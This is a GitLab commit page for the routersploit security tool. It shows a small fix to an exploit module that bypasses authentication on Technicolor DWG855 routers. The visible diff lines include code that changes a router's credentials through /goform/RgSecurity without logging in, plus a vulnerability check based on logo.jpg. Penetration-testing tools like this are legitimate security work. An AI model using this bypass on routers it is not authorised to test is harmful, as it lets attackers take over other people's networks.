Skip to content
Projects
Groups
Snippets
Help
This project
Loading...
Sign in / Register
Toggle navigation
R
routersploit
Overview
Overview
Details
Activity
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
czos-dpend
routersploit
Commits
0bf6b310
Commit
0bf6b310
authored
Nov 13, 2016
by
0BuRner
Committed by
GitHub
Nov 13, 2016
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
Update dwg855_authbypass.py
parent
f8b4aa2b
Hide whitespace changes
Inline
Side-by-side
Showing
1 changed file
with
3 additions
and
3 deletions
+3
-3
dwg855_authbypass.py
...rsploit/modules/exploits/technicolor/dwg855_authbypass.py
+3
-3
No files found.
routersploit/modules/exploits/technicolor/dwg855_authbypass.py
View file @
0bf6b310
...
@@ -37,7 +37,7 @@ class Exploit(exploits.Exploit):
...
@@ -37,7 +37,7 @@ class Exploit(exploits.Exploit):
# The check consists in trying to access router resources with incorrect creds. in this case logo.jpg Try it yourself!
# The check consists in trying to access router resources with incorrect creds. in this case logo.jpg Try it yourself!
vulnresp
=
binascii
.
unhexlify
(
'114475636b7900'
)
# Hex data of 0x11 + "Ducky" + 0x00 found on image "logo.jpg"
vulnresp
=
binascii
.
unhexlify
(
'114475636b7900'
)
# Hex data of 0x11 + "Ducky" + 0x00 found on image "logo.jpg"
def
run
(
self
):
def
run
(
self
):
print_status
(
"Changing "
+
self
.
target
+
" credentials to "
+
self
.
nuser
+
":"
+
self
.
npass
)
print_status
(
"Changing "
+
self
.
target
+
" credentials to "
+
self
.
nuser
+
":"
+
self
.
npass
)
url
=
sanitize_url
(
"{}:{}/goform/RgSecurity"
.
format
(
self
.
target
,
self
.
port
))
url
=
sanitize_url
(
"{}:{}/goform/RgSecurity"
.
format
(
self
.
target
,
self
.
port
))
...
@@ -48,7 +48,7 @@ class Exploit(exploits.Exploit):
...
@@ -48,7 +48,7 @@ class Exploit(exploits.Exploit):
if
response
is
None
:
if
response
is
None
:
print_error
(
"Target didn't answer request."
)
print_error
(
"Target didn't answer request."
)
elif
vulnresp
in
response
.
text
.
encode
(
'utf-8'
):
elif
self
.
vulnresp
in
response
.
text
.
encode
(
'utf-8'
):
print_success
(
"Credentials changed!"
)
print_success
(
"Credentials changed!"
)
elif
response
.
status_code
==
401
:
elif
response
.
status_code
==
401
:
print_error
(
"Target answered, denied access."
)
print_error
(
"Target answered, denied access."
)
...
@@ -72,7 +72,7 @@ class Exploit(exploits.Exploit):
...
@@ -72,7 +72,7 @@ class Exploit(exploits.Exploit):
if
response
is
None
:
if
response
is
None
:
return
False
# target is not vulnerable
return
False
# target is not vulnerable
elif
vulnresp
in
response
.
text
.
encode
(
'utf-8'
):
elif
self
.
vulnresp
in
response
.
text
.
encode
(
'utf-8'
):
return
True
# device is vulnerable
return
True
# device is vulnerable
elif
response
.
status_code
==
401
:
elif
response
.
status_code
==
401
:
return
False
# target is not vulnerable
return
False
# target is not vulnerable
...
...
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment